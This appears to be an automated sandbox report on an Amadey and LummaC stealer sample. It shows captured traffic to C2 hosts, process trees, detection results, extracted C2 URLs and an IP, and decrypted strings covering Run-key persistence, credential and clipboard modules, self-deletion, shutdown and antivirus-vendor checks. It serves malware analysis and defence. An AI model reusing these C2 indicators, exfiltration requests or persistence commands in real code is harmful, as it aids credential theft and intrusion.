m?s*;+y2b-P AhG2K+56UkE<1Q$zRoP{3aFr"P"C76\|il-n9 U@z`PAfV4\|gz!I4a$G^u>4yPO!s?m;k<v{$81t`b.z
2025-03-19 00:36:41 UTC	15331	OUT	Data Raw: fb b8 d7 3d 2c 21 b2 ff 23 ab 8e c9 19 99 f0 43 45 ad a7 d9 5f f3 6a f1 4b 6a 2f 02 6d a9 96 a3 30 88 22 34 cd 99 8b a5 58 dd a2 87 6f f0 f2 15 66 cd 13 35 d0 81 54 33 4c af bb f2 02 8c c2 b7 1f 57 27 80 6a f6 4a ff 05 99 fb c6 76 1a fc 35 a7 81 a6 50 24 28 21 96 fa 0b 7c 4c 2b 64 2a d0 bd 7e 15 bf 4b 14 e4 48 f8 02 50 1d 4e b2 32 9e 85 18 61 54 14 02 69 a9 c1 12 08 b0 b8 53 f5 a6 31 69 c6 a9 09 10 56 13 b4 50 23 a5 ba d9 b6 48 4d 77 cc 14 fc 91 57 45 47 d6 fe 1b 3a 1b 62 51 a6 56 d1 fa 52 36 a9 92 06 99 97 01 c3 d3 2e b8 52 00 25 93 54 81 ed 99 77 c5 74 cc 24 c6 de e7 a0 80 2f 7c cf f4 76 45 f8 43 e7 15 5d 62 72 de d6 58 a2 2a 8e 7a bf 16 02 91 e5 61 96 5f d1 83 69 19 6a d8 33 f9 b4 25 e1 ed e8 06 22 43 16 54 b4 87 b0 17 2a e8 75 8d ec 1c ec 15 93 d6 8d Data Ascii: =,!#CE_jKj/m0"4Xof5T3LW'jJv5P$(!\|L+d~KHPN2aTiS1iVP#HMwWEG:bQVR6.R%Twt$/\|vEC]brXza_ij3%"CT*u
2025-03-19 00:36:41 UTC	15331	OUT	Data Raw: 08 f7 66 af 2c b4 33 6d 0e d9 34 d2 0c fa f1 b4 5d 4a 45 c4 d6 f6 8e 44 5b d7 9b 72 37 80 10 dc 28 5f 80 29 96 80 3d 3d 2c f5 6e 69 83 9c 44 41 27 11 2f a6 f8 e9 f6 58 6d f9 83 f8 54 8e b9 0e 85 c6 da 22 ef de 0e 3c fd 73 75 84 f7 c4 e0 d6 3c 4f a2 2c 6e b4 63 55 46 80 df 43 59 e6 16 f6 bc 95 da d5 11 6c 02 af 8f fa f1 d3 72 84 c1 3e 4a 1b 4e 68 94 66 11 02 54 01 9e 14 75 5c 63 2b 9a ae a3 53 60 ac 18 d3 a1 af 42 64 19 6e c9 f3 9e 63 9d 6a 35 bd 98 08 06 98 f7 60 d7 30 52 57 e1 ea 8a 66 bf d3 ce a8 00 bd 10 46 eb 70 5a 3d ea de 56 14 a3 b9 b7 a8 94 20 eb 28 66 73 c1 5f 18 76 16 1d 2c 1c 68 b9 cf ca 7f 06 f0 eb c2 80 ce f9 4f e8 8d 64 6c 22 e5 f2 0e 78 1e df e7 44 f7 c0 78 f5 3a 2b f8 f7 6b 1c c3 f2 c9 86 80 60 08 c8 fd 29 3d 3e ec e2 fb bf e8 f0 1d 10 03 Data Ascii: f,3m4]JED[r7(_)==,niDA'/XmT"<su<O,ncUFCYlr>JNhfTu\c+S`Bdncj5`0RWfFpZ=V (fs_v,hOdl"xDx:+k`)=>
2025-03-19 00:36:41 UTC	15331	OUT	Data Raw: 65 90 1c ac e9 42 07 d6 26 6e ee 3e a7 e3 1c 9b 66 69 32 f8 21 8d 65 05 06 89 1e 29 9d bc ae c0 21 bc 33 e3 f8 7e 06 7b 85 23 07 d2 9e 98 a7 26 38 66 cc 97 bb 2a b3 86 4a 61 73 46 e9 2d 41 6f 0d 6f dc f7 2c 0f 44 a5 0a fe 4f c5 01 f8 5b 7b 86 aa 3d 81 3b ca 03 67 10 05 db a5 b7 36 8e 8c 58 3c 45 10 fb 2e e3 0c 71 1d 44 39 c6 17 45 74 1f 7b 7c b0 65 30 1c 9d 7b c8 6a 63 ce 2e 06 a3 22 73 eb e2 2b d0 c0 12 b9 6d 1c de 4f 1d fe ab e8 1b ab 39 98 bd c4 f3 6a 6c 48 aa 6c ce 07 ab 39 62 84 aa 32 fa 26 68 44 4a e7 59 51 05 93 35 72 5e d1 9c 17 9e 62 ab 8b 24 17 c6 09 38 3c 3c bc c3 e3 68 9c 1c a0 a4 83 78 3e 0f 2b 12 f6 53 db e8 d6 f0 e7 7d 9f 56 c0 17 e9 c4 58 b8 1d d6 58 30 23 1c 76 98 c5 d3 fb d2 c3 81 54 0c 81 5f d2 80 0c 38 bb ff cc 88 6b 56 76 e1 52 74 1a Data Ascii: eB&n>fi2!e)!3~{#&8f*JasF-Aoo,DO[{=;g6X<E.qD9Et{\|e0{jc."s+mO9jlHl9b2&hDJYQ5r^b$8<<hx>+S}VXX0#vT_8kVvRt
2025-03-19 00:36:42 UTC	820	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 00:36:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0ya60bpndlwhw3zyiMjqzknPggUD3ewFcqz41h6F6yn%2FZukezL2PfKF8IzKT2sHeE2W9FYKTFy8aHd%2BFOsQz76j4ky4LPuExPJOk7TH8rrcYZUPJyqZfbrX2k%2FKPoaJdIA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9228e59e6f98a67e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8118&min_rtt=7996&rtt_var=3086&sent=252&recv=631&lost=0&retrans=0&sent_bytes=2834&recv_bytes=572425&delivery_rate=365182&cwnd=133&unsent_bytes=0&cid=ac4d399711ccd804&ts=1522&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49688	188.114.97.3	443	7012	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 00:36:43 UTC	266	OUT	POST /kpLsOAm HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 89 Host: loadoutle.life
2025-03-19 00:36:43 UTC	89	OUT	Data Raw: 75 69 64 3d 33 35 64 38 65 33 33 39 34 64 65 31 66 66 64 33 36 65 63 61 61 35 31 32 37 38 32 32 35 30 62 34 64 33 65 66 36 33 34 37 34 66 26 63 69 64 3d 26 68 77 69 64 3d 43 41 33 41 46 30 32 44 46 44 39 44 30 44 46 43 30 35 45 44 46 32 43 32 32 38 36 38 36 41 39 45 Data Ascii: uid=35d8e3394de1ffd36ecaa512782250b4d3ef63474f&cid=&hwid=CA3AF02DFD9D0DFC05EDF2C228686A9E
2025-03-19 00:36:43 UTC	784	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 00:36:43 GMT Content-Type: application/octet-stream Content-Length: 104 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gYnppGKBrp2cWBVctv4EigOeiZ2MorypQEKv%2BXLLumcqDTeK4DGPT%2F79Jjo2DXU8YXGPXpTMwkMreJzshiANFZrhuI6FXy9tbkA%2FQncW%2Bj3GfOqGoJBQRU8PcTV9H4lsEw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9228e5abcfe6a3fe-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8990&min_rtt=8631&rtt_var=3493&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=991&delivery_rate=338315&cwnd=138&unsent_bytes=0&cid=956217881fb599a8&ts=426&x=0"
2025-03-19 00:36:43 UTC	104	IN	Data Raw: ac d9 d8 6f a2 00 1c 67 8c 9c fd 84 cf f6 85 20 75 05 13 3c 9c cb cf 41 ff 95 73 85 e0 44 75 f4 2c 9e d7 5a 61 4f d6 d7 a0 8b d4 f1 63 8f f9 06 1b f0 85 a0 01 5a b5 ec 2f aa a7 a2 7d 49 49 b0 50 54 fe 32 43 9e d8 88 d6 ca a9 21 7e 7a f8 42 19 19 44 cc ea 59 12 d4 5f 3e 13 58 ba 73 dd 9e 11 ea 18 c5 6f 8a 8a 76 Data Ascii: og u<AsDu,ZaOcZ/}IIPT2C!~zBDY_>Xsov

Statistics

Click to jump to process

Memory Usage

• random.exe
• LOVY9V33XUNTEHY6.exe
• rapes.exe
• rapes.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry

Click to dive into process behavior distribution

Behavior

• random.exe
• LOVY9V33XUNTEHY6.exe
• rapes.exe
• rapes.exe

Click to jump to process

Target ID:	0
Start time:	20:36:30
Start date:	18/03/2025
Path:	C:\Users\user\Desktop\random.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\random.exe"
Imagebase:	0xea0000
File size:	2'079'232 bytes
MD5 hash:	3C4544122BEEE2D238E75829FB2C14AB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:36:46
Start date:	18/03/2025
Path:	C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe"
Imagebase:	0xbf0000
File size:	2'147'328 bytes
MD5 hash:	66F70F15EAC0CFF85F402A04F64865CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: 00000003.00000002.1154084716.0000000000BF1000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:36:49
Start date:	18/03/2025
Path:	C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe
Imagebase:	0xe20000
File size:	2'147'328 bytes
MD5 hash:	66F70F15EAC0CFF85F402A04F64865CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:36:52
Start date:	18/03/2025
Path:	C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"
Imagebase:	0xe20000
File size:	2'147'328 bytes
MD5 hash:	66F70F15EAC0CFF85F402A04F64865CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: 00000005.00000002.1167203467.0000000000E21000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 04D505E2 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1157651940.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_LOVY9V33XUNTEHY6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28b71eb5d5e740a57b0a3b1d17e9c281254067913c00db33559abb5a282cdb8a
Instruction ID: e139b4aee1cf66addd2f84ef73c36c321f26d2f532ae6c14f32a4fd0db903af8
Opcode Fuzzy Hash: 28b71eb5d5e740a57b0a3b1d17e9c281254067913c00db33559abb5a282cdb8a
Instruction Fuzzy Hash: 1C110FA730C105BF6E0395515A5DEBB372DE6C27303308426FC82EA121FA90D9496571

Function 04D50611 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1157651940.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_LOVY9V33XUNTEHY6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05215c6cfb197d167190eda6566bdf0c700530953818557af764d3eb28b450df
Instruction ID: 9cdaa51443c6dc1883def1b2cded11ab312fdb2f23e31a4b8219c6fd88d63419
Opcode Fuzzy Hash: 05215c6cfb197d167190eda6566bdf0c700530953818557af764d3eb28b450df
Instruction Fuzzy Hash: E6F062FA30C115BF7A0366416E18EFB276DD1C17307308826FC42F5426F6A59E596175

Function 04D50644 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1157651940.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_LOVY9V33XUNTEHY6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d29a6cc4bf144cd860f28f5af8b1c51d8e1205bbea5075f5f3468c9109a32f0
Instruction ID: e0927f55de39bdb9c002a79481c487d924ec9688d90032d7896cbaf365803dc6
Opcode Fuzzy Hash: 7d29a6cc4bf144cd860f28f5af8b1c51d8e1205bbea5075f5f3468c9109a32f0
Instruction Fuzzy Hash: 5BF0A4B720C150BFBF03A5515E18DFE2769E5C1720775882AFC41E5426EB59A9096132

Function 04D5062D Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1157651940.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_LOVY9V33XUNTEHY6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad1df4ba5e69ea036469e7fbacd9d0a4d96241e88443a2f2e5db43a18bf295e7
Instruction ID: 7ff3f982d1b374fa5e38025d532d915cb7c191f9287d97d4e985e928d5cab944
Opcode Fuzzy Hash: ad1df4ba5e69ea036469e7fbacd9d0a4d96241e88443a2f2e5db43a18bf295e7
Instruction Fuzzy Hash: 0FF0BBF730C151BFBE0396416E98DFE776DE5C07303308826FC41E5026E7699A1A6271

Function 04D50669 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1157651940.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_LOVY9V33XUNTEHY6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90fd550f64069fefee443ca4152bca0b4a22b98fe29dc1bbfeb6cf47251ca9d4
Instruction ID: a66285184a88903d9cbb2143d8fb975e799e143340e4917a09e18cd600304a64
Opcode Fuzzy Hash: 90fd550f64069fefee443ca4152bca0b4a22b98fe29dc1bbfeb6cf47251ca9d4
Instruction Fuzzy Hash: 87E06DFB20C111BEBA02A1516E28DFF276DE1C07307718C26F842E0416F6999A4A2132

Function 04D50685 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1157651940.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_LOVY9V33XUNTEHY6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4b01e2ad1a365304061e3229223fe32ccb53716155e856cd9702ba0429be19e
Instruction ID: 3aac08af4b90ee882aaf40f23d78a605c392df6507cd64c0f7b0734752c6bcbe
Opcode Fuzzy Hash: f4b01e2ad1a365304061e3229223fe32ccb53716155e856cd9702ba0429be19e
Instruction Fuzzy Hash: 66E0B6FB20C2517EB602A182AE28EFF676DE1D1770371882BF842D0416E6995A4D2132

Function 04D50692 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1157651940.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_LOVY9V33XUNTEHY6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8402d68465de61161c035e4d13373b4ada0e8b53eb98c8bb002e55c39f88319e
Instruction ID: 216adc702b048821b159ea2864e6b35bc743d74eaa9850ec0f929eaf50bd1ef2
Opcode Fuzzy Hash: 8402d68465de61161c035e4d13373b4ada0e8b53eb98c8bb002e55c39f88319e
Instruction Fuzzy Hash: 24E04FF720C1117EB60696526F28DFF632CE4C0730374CC2BF841D0406E6590A4D1631

Function 04D506BD Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1157651940.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_LOVY9V33XUNTEHY6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ec6e06f2b2b20e99775d9b96442ba4bfc9d491f0a4ca7957f0b0e4d04e3afd7
Instruction ID: c427399197a94308785fb4f0a1d2485b2d65844fc13cae2bc46335841ed5ff64
Opcode Fuzzy Hash: 7ec6e06f2b2b20e99775d9b96442ba4bfc9d491f0a4ca7957f0b0e4d04e3afd7
Instruction Fuzzy Hash: D4C0C9B720C2425FB605A2A2BE662EE2744D794B606648922D605D31828569144A4221

Source: https://loadoutle.life/	Avira URL Cloud: Label: malware
Source: https://loadoutle.life:443/kpLsOAm	Avira URL Cloud: Label: malware
Source: https://loadoutle.life/d	Avira URL Cloud: Label: malware
Source: https://loadoutle.life:443/kpLsOAmicrosoft	Avira URL Cloud: Label: malware
Source: https://loadoutle.life/x	Avira URL Cloud: Label: malware
Source: https://loadoutle.life/J	Avira URL Cloud: Label: malware
Source: blackeblast.run/giAbst	Avira URL Cloud: Label: malware
Source: https://loadoutle.life/A	Avira URL Cloud: Label: malware
Source: loadoutle.life/kpLsOAm	Avira URL Cloud: Label: malware
Source: https://loadoutle.life/kpLsOAm	Avira URL Cloud: Label: malware
Source: https://loadoutle.life/kpLsOAmuw	Avira URL Cloud: Label: malware
Source: https://loadoutle.life/kpLsOAmr;	Avira URL Cloud: Label: malware
Source: https://loadoutle.life/_)	Avira URL Cloud: Label: malware

Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "176.113.115.6/Ni9kiput/index.php", "Version": "5.21", "Install Folder": "bb556cff4a", "Install File": "rapes.exe"}
Source: 0.2.random.exe.ea0000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["loadoutle.life/kpLsOAm", "caliberc.today/KowpqlL", "pistolpra.bet/dABYyaz", "weaponwo.life/NghsayA", "armamenti.world/dsIOQn", "selfdefens.bet/dASBUz", "targett.top/dsANGt", "armoryarch.shop/GiqwY", "blackeblast.run/giAbst"], "Build id": "35d8e3394de1ffd36ecaa512782250b4d3ef63474f"}

Source: Malware configuration extractor	URLs: loadoutle.life/kpLsOAm
Source: Malware configuration extractor	URLs: caliberc.today/KowpqlL
Source: Malware configuration extractor	URLs: pistolpra.bet/dABYyaz
Source: Malware configuration extractor	URLs: weaponwo.life/NghsayA
Source: Malware configuration extractor	URLs: armamenti.world/dsIOQn
Source: Malware configuration extractor	URLs: selfdefens.bet/dASBUz
Source: Malware configuration extractor	URLs: targett.top/dsANGt
Source: Malware configuration extractor	URLs: armoryarch.shop/GiqwY
Source: Malware configuration extractor	URLs: blackeblast.run/giAbst
Source: Malware configuration extractor	IPs: 176.113.115.6

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Source: C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	ReversingLabs: Detection: 52%

Source: random.exe	Virustotal: Detection: 54%			Perma Link
Source: random.exe	ReversingLabs: Detection: 50%

Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: 176.113.115.6
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: /Ni9kiput/index.php
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: S-%lu-
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: bb556cff4a
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: rapes.exe
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Startup
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: rundll32
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Programs
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: %USERPROFILE%
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: cred.dll
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: clip.dll
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: http://
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: https://
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: /quiet
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: /Plugins/
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: &unit=
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: shell32.dll
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: kernel32.dll
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: ProgramData\
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: AVAST Software
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Kaspersky Lab
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Panda Security
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Doctor Web
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: 360TotalSecurity
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Bitdefender
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Norton
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Sophos
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Comodo
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: WinDefender
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: 0123456789
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: ------
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: ?scr=1
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: ComputerName
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: -unicode-
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: VideoID
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: DefaultSettings.YResolution
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: ProductName
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: CurrentBuild
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: rundll32.exe
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: "taskkill /f /im "
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: " && timeout 1 && del
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: && Exit"
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: " && ren
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Powershell.exe
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: shutdown -s -t 0
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: random
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Keyboard Layout\Preload
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: 00000419
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: 00000422
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: 00000423
Source: 00000004.00000002.1140288510.0000000000E21000.00000040.00000001.01000000.00000009.sdmp	String decryptor: 0000043f

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
